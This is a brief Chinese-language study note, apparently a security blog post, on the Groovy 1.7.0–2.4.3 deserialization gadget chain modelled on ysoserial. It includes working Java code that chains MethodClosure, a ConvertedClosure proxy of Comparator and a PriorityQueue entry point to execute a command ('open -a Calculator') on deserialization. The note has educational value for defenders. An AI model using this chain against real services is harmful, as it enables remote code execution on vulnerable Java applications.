【快速笔记】Groovy链

影响版本:Groovy 1.7.0-2.4.3

Marven

  <dependency>
      <groupId>org.codehaus.groovy</groupId>
      <artifactId>groovy-all</artifactId>
      <version>2.4.3</version>
  </dependency>

ysoserial的利用链

危险函数:org.codehaus.groovy.runtime.MethodClosure#call

利用方式:

String cmd = "open -a Calculator";

MethodClosure methodClosure = new MethodClosure(cmd, "execute");
methodClosure.call();

这个调用是真的看晕了,看了下前辈们的分析,最后也没搞懂到底是个怎么回事。大致是下面这个流程?

经过一次递归

到了这步

直接有个Runtime的调用

这里涉及一个groovy的核心思想,就贴来感受下好了。参考:https://cn-sec.com/archives/388569.html

DGM全称是DefaultGroovyMethods,DGM类中包含了Groovy为JDK的类添加的各种方法。DGM调用优化的思想就是通过直接调用来代替反射调用。而要实现直接调用,则需要为DGM中的每个方法生成一个从MetaMethod派生的包装类,该类的invoke方法将直接调用DGM中对应的方法。
......
可以看到,方法名对应特定的对象,每个人的机器生成的顺序可能都不太一样,这也就能解释为什么之前使用execute方法名,从table中获取到的方法名也为execute了,以及其所关联的对象中的方法也为execute。

ConvertedClosure可以理解为动态代理一个类的一个方法,这个方法一开始可以传入。一旦调用了这个代理的方法,就会走到org.codehaus.groovy.runtime.MethodClosure#call

ConvertedClosure的父类ConversionHandler实现了invoke方法,也就是可以做一个动态代理的handler

invokeCustom在ConvertedClosure实现

这就是上面methodClosure.call();的形式,可以让ConvertedClosure代理一个Comparator接口的compare方法

final ConvertedClosure convertedClosure = new ConvertedClosure(methodClosure,"compare");
Comparator m = (Comparator) Proxy.newProxyInstance(
    methodClosure.getClass().getClassLoader(),
    new Class[]{Comparator.class},
    convertedClosure
);
m.compare(null, null);		// 随便传入什么参数都会调用methodClosure.call()

入口可以选CC2/4的priorityQueue。

PriorityQueue priorityQueue = new PriorityQueue<>(m);
Class pc = priorityQueue.getClass();
Field sizeField = pc.getDeclaredField("size");
sizeField.setAccessible(true);
sizeField.set(priorityQueue, 2);

String s = serializeToBase64(priorityQueue);
deserializeFromBase64(s);

当代理Map的entrySet方法的时候,就可以用CC1来触发。